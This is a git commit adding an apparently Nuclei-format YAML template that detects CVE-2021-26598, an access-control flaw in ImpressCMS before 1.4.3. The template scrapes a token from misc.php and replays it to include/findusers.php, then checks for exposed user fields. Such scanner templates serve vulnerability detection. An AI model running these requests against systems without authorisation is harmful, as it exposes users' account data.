Create CVE-2021-26598.yaml

ImpressCMS before 1.4.3 has Incorrect Access Control because include/findusers.php allows access by unauthenticated attackers (who are, by design, able to have a security token).

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>

cves/2021/CVE-2021-26598.yaml

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+id: CVE-2021-26598
+
+info:
+  name: ImpressCMS - Incorrect Authorization
+  author: gy741,pdteam
+  severity: medium
+  description: ImpressCMS before 1.4.3 has Incorrect Access Control because include/findusers.php allows access by unauthenticated attackers (who are, by design, able to have a security token).
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-26598
+    - http://karmainsecurity.com/KIS-2022-03
+    - https://hackerone.com/reports/1081137
+  tags: cve,cve2021,impresscms
+
+requests:
+  - raw:
+      - |
+        GET /misc.php?action=showpopups&type=friend HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
+
+      - |
+        GET /include/findusers.php?token={{token}} HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
+
+    cookie-reuse: true
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - 'last_login'
+          - 'user_regdate'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: token
+        internal: true
+        group: 1
+        regex:
+          - "REQUEST' value='(.*?)'"
+          - 'REQUEST" value="(.*?)"'